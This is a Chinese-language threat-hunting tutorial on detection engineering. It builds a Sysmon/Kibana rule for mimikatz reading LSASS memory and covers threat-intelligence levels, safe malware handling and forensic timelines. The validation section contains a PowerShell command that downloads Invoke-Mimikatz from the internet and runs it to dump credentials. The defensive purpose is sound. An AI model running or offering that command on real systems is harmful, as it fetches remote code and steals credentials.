高级威胁检测技术 - (2)
检测工程方法论
- 选择目标技术
- 研究底层技术
- 恶意软件的概念证明
- 识别数据源
- 构建检测
确保整个流程都是被记录在案的.
- 问题:
- 防御者经常建立专注于脆弱指标(IOCs)的检测
- 文件哈希
- IP地址
- 域名
- 进程命令行等
- 不幸的是这种方法很容易被绕过
- 防御者必须改变他们的方法来打败更有创造性的对手
- 可重复的过程可以帮助引导威胁猎手创建更强大的检测
- 防御者经常建立专注于脆弱指标(IOCs)的检测
选择目标技术
- 选择将围绕其构建检测的技术
- 检测应尽可能在最通用的级别上构建,但很多时候一项技术需要多次检测才能完成
- 输入:
- MITRE ATT&CK框架
- 你组织/企业的数据源
- 威胁情报
- 输出:
- 你将针对的特定技术
- 该技术/过程的特定实现
- 输入:
- 不要试图去寻找一切!
- 理解ATT&CK中的TTPs
- 选择技术的方法
- 研究驱动 - 后面详解介绍
- 你的威胁狩猎在检测Kerberos滥用方面做了一些出色的研究,因此围绕该领域涉及的技术构建狩猎
- 数据驱动 - 略
- 组织目前仅从域控收集Windows安全事件日志,因此威胁狩猎决定将搜索重点放在AD攻击上
- 实体驱动 - 略
- 组织成员出国旅行有间谍倾向,并带有笔记本电脑和手机
- 策略驱动 - 略
- 之前没有花费大量时间专注于检测横向移动,因此将搜索重点放在该策略上
- 情报驱动 - 后面详解介绍
- 公开/订阅发布了一份威胁报告,描述了针对你的组织或企业相关的威胁参与者,因此将搜索重点放在威胁参与者使用的已知技术上
- 研究驱动 - 后面详解介绍
研究驱动的技术方法:
- 确定从研究技术中寻找什么
- 现有技术
- 新技术
- 过去的研究
- 新的研究
- 基于研究中确定流程的假设开始
- 公共研究中发布了一种新的检测横向移动的技术,因此重点放在检测它
- 你的组织在检测Kerberos上做了出色的研究,因此重点放在该领域涉及的技术上
例如T1003 - Credential Dumping
Step1:选择目标技术
我们查看001,LSASS Memory子项
那么第二步是研究该技术的底层原理
Step2:研究底层技术
我们使用mimikatz来作为例子。
查看源码:发现sekurlsa::logonPasswords的步骤为:
- 打开lsass进程
- 枚举LogonSessions
- 拷贝内存并进行数据处理
其中使用OpenProcess的第一个参数为
PROCESS_VM_READ | ((MIMIKATZ_NT_MAJOR_VERSION < 6) ? PROCESS_QUERY_INFORMATION : PROCESS_QUERY_LIMITED_INFORMATION);
该参数为访问权限参数。
做一个简单的总结
https://blog.3or.de/hunting-mimikatz-with-sysmon-monitoring-openprocess.html
知道了方法之后呢,我们可以自己写一个POC代码来验证一下该方法是否可行,这个就是第三步。
Step3:恶意软件的概念证明
将mimikatz中凭证dump的功能单独提取出来进行测试。
此处主要模拟:
- 打开lsass进程
- 枚举LogonSessions
- 拷贝内存并进行数据处理
Step4:识别数据源
查看ATT&CK发现基本的检测方式有这么几种
对于命令执行监控,可以结合进程监控增加命令行监控,powershell也可以使用Powershell的日志监控
API可以使用HOOK等方法进行API执行监控
进程访问和进程创建同样使用进程监控
对于进程访问来说,可以使用Sysmon的10号ID
有了数据源,就可以构建一个检测规则
Step5:构建检测
我们的检测规则是,查看哪些进程访问了lsass进程,并且GrantedAccess是0x1010或0x1410
最终的检测规则在kibana查询中如下:
event_id:10 AND target_process_name:lsass.exe AND process_granted_access:(0x1010 OR 0x1410)
关于告警的内容可以参考ADS框架:
https://github.com/palantir/alerting-detection-strategy-framework
ADS:Mimikatz
-
Goal
- 检测何时使用Powershell执行Mimikatz从本地安全机构 (Lsass) 进程的内存中提取凭据
-
Categorization
- 归类为Credential Access、Credential Dumping
-
Strategy Abstract
- 策略的功能如下:
- 监控由Powershell加载的特定的模块,这些模块反映了凭证转储工具的使用
- 查找任何访问Lsass.exe的进程,这些进程可能带有某些访问权限标志,可能在使用Mimikatz
- 查找任何访问Lsass.exe的进程的CallTrace,查看是否有异常字符串值
- 策略的功能如下:
-
Technical Context
- Mimikatz简介:略
- Invoke-Mimikatz:Invoke-Mimikatz能够将 Mimikatz DLL(嵌入在脚本中)反射加载到内存中.但是需要在磁盘上加载其他本机Windows模块(DLL)才能完成其工作.mimikatz加载的一些模块,在野外看到的有以下几个:
- C:\Windows\System32\WinSCard.dll
- C:\Windows\System32\cryptdll.dll
- C:\Windows\System32\hid.dll
- C:\Windows\System32\samlib.dll
- C:\Windows\System32\vaultcli.dll
- Mimikatz 还需要具有打开本地安全机构 (Lsass) 进程的正确访问权限,才能读取其中的内容.因此,了解可以分配给进程的可能访问权限很重要.一些已被确定为Mimikatz活动一部分的进程访问权限如下:
- 0x1010
- 0x1410
- 0x1438
- 0x1418
-
Blind Spots and Assumptions
该策略依赖于以下假设:- 端点工具在系统上正常运行且功能正常
- Windows中的模块加载事件被正常记录
- Windows中的进程访问事件被正常记录
- 来自端点工具的日志被报告给服务器
- 端点工具正确地将日志转发到SIEM
- SIEM实时为端点工具的日志建立索引
- 合法访问Lsass.exe的应用程序(例如防病毒软件)
如果违反任何假设,就会出现盲点
例如,以下内容会触发警报:- 合法的powershell主机被滥用(例如powershell.exe)
- 白名单powershell主机被滥用
- 端点工具被修改为不收集模块加载和进程访问事件或不向服务器报告
-
False Positives
有几种情况会发生误报:- 合法的powershell主机访问Lsass.exe
- Mimikatz关联的DLL由合法的进程加载
- 使用类似进程访问权限的应用程序访问Lsass.exe,需要进行基线设置来减少噪音
-
Priority
任何条件下,都应将该策略的优先级设置为最高 -
Validation
使用下面的命令对ADS进行验证powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
-
Response
如果触发告警,建议采取的应急措施:- 将访问Lsass.exe的可疑powershell主机与任何其他powershell主机的日志进行比较
- 查看powershell.exe的执行行为
- 它是否建立了任何异常的网络连接?
- 它是否产生了任何子进程?
- 它是否进行了任何可疑的文件修改?
- 如果二进制文件不可信,或者无法追溯到合法安装的应用程序,则将其视为潜在的危害并升级为安全事件
-
Additional Resources
- Hunting mimikatz with Sysmon: monitoring for OpenProcess()
- Chronicles of a Threat Hunter: Hunting for In-Memory Mimikatz with Sysmon and ELK - Part II (Event ID 10)
- Chronicles of a Threat Hunter: Hunting for In-Memory Mimikatz with Sysmon and ELK - Part I (Event ID 7)
- Process Security and Access Rights
- Unofficial Guide to Mimikatz & Command Reference
情报驱动的技术方法:
基于通过威胁情报渠道收集的信息/数据做威胁狩猎。
- 获取的信息有限
- 可能和你的组织/企业不匹配
- 该类型通常通过订阅的威胁数据集成到威胁狩猎工具集中
- 例如:
- 威胁情报确定APTx针对目标组织,因此威胁狩猎将重点放在已知APTx喜欢使用的技术上
威胁情报的类型
订阅:
- IOCs
- 通常设计为可被安全设备自动使用
- 已知的黑名单,如HASH,域名等
- IOCs并非针对目标组织的,但也可以获取到一些新的攻击类型或技术可应对未来的风险
报告:
- 针对观察到的恶意活动的详细报告
- 通常详细介绍特定的攻击事件和相关的威胁参与者
威胁情报分级
-
一级:刚起步,没有太多资源的组织、企业
- 针对于有兴趣开始使用威胁情报的组织、企业
- 首先确定单个威胁团体或单个威胁软件家族
- 针对目标相关的垂直领域
- 被多个威胁团体使用的恶意软件
- 利用ATT&CK确定威胁团体并理解其所使用的技术,并应用ATT&CK的检测技术
- 如海莲花:
理解其所使用的每一种技术
并实施ATT&CK的检测建议
-
二级:适用于开始成熟的中级企业
-
针对可能没有自己的威胁情报建设的成熟的企业或组织
- 可以将威胁情报映射到ATT&CK
- 可能需要详细的研究威胁报告
- 可对攻击者的技战术进行深入研究
-
深入阅读报告,提出问题:
- 预期的目标是什么
- 攻击者是如何实现的
- 攻击者犯了什么错误
- 可以采取什么步骤在企业或组织环境中检测相关的恶意活动
- 该报告和之前的报告有何差异
-
使用威胁情报:
- 当前的报告:
- 确保威胁狩猎和组织、企业最关注的威胁团体使用的TTP努力保持一致
- 确定需要额外关注和改进的地方
- 验证当前检测的能力
- 考虑威胁假设(根据报告来模拟攻击路径等)
- 新发布的报告
- 比较当前的和过去的狩猎,来评估检测的覆盖范围
- 确定未覆盖的地方
- 根据需要提出新的假设,并进行验证
- 当前的报告:
-
-
三级:拥有更高级别网络安全团队和资源
- 针对具有很强的威胁情报能力建设的成熟的组织、企业
- 将内部和外部的情报映射到ATT&CK
- 事件响应数据
- 开源情报报告
- 实时告警
- 组织的历史数据
- 将内部和外部的情报映射到ATT&CK
- 针对具有很强的威胁情报能力建设的成熟的组织、企业
恶意软件处理
恶意软件分类的目标
- 在SOC上下文中:
- 目标:将事件分类为误报(良性)或真阳性(恶意/垃圾的)
- 在威胁狩猎的上下文中:
- 目标:完善假设。定义并细化不同组织或企业环境中什么是"正常"情况
- 在应急响应上下文中:
- 目标:快速为响应者提供可操作的工件,促进修复工作
- 识别主机或网络上的IOCs
- 试别恶意软件行为
- 可能需要深入的进行逆向分析
- 目标:快速为响应者提供可操作的工件,促进修复工作
- 分类的要点:
- 将最初遇到的每个二进制文件或其他文件视为"可疑的".问问自己,"为什么这个文件不是良性的?"将良性文件归类为良性文件比将可疑二进制文件归类为恶意文件更容易
- 如果文件不能归类为良性,则需要进行更深入的分析才能得出"恶意软件"或"垃圾软件"的分类
- 不要让经验偏见影响你的决策
恶意软件处理及OPSEC
- 恶意软件处理:
- 不要让恶意软件意外感染自己或你的组织/企业
- 知道处理和分析恶意软件时的威胁是什么:
- 意外感染
- 分析工具被漏洞利用
- VM逃逸利用
- 暴露操作
- 暴露你的组织/企业
- 文件分发注意事项:有时候可能需要将潜在的恶意软件与别人共享
- 将文件扩展名命名为不会执行的名称,如exe命名为exe_
- 文件使用压缩包打包并设置密码,密码注意不要使用常用密码如"password","infected"等
- 在专门的环境中提取恶意软件
- OPSEC:
- 如果只是想查看是否有相关的分析结果,不要上传恶意软件,应改为搜索文件哈希
- VirusTotal高级订阅者可以看到匿名者ID上传的样本,可能分析到你的组织上传样本的内容或原因
- 除非有明确的理有,否则不应允许恶意软件连接到互联网
- 虚拟机分析的风险:
- 恶意软件可能会执行虚拟机逃逸
- 恶意软件可以将数据复制到剪切板,应禁用虚拟机的复制功能
- 设备驱动可以在宿主机上执行代码,从另一个干净的机器连接到虚拟机进行调试,而不是直接从宿主机连接
- 恶意软件可能会执行虚拟机逃逸
- 虚拟机的基本配置
- 使用64位系统来保持兼容性
- 确保操作系统是最新的
- 安装所有所需的工具
- 如果使用Windbg或IDA Pro,在操作系统更新后下载符号文件
- 关闭安全防护软件,例如Windows Defender
- 禁用虚拟机网络
- 给配置好的虚拟机打一个快照
恶意软件分析
- 通用PE文件分析工具:
- CFF Explorer
- 010 Editor
- 恶意软件分析实验:
- 略
取证
- 创建时间线
- 时间线可以使分析师能够线性跟踪攻击
- 专注于捕获:
- 文件系统元数据
- Windows工件
- 注册表键值
- 时间线分析
- 设置时区,如UTC等
- 文件系统分析
- 文件内容更改时间
- 文件最后访问时间
- 元数据更改时间(MFT记录)
- 元数据创建时间(MFT记录)
- 数据恢复
- 可以从已删除文件中进行数据恢复来发现更多可疑文件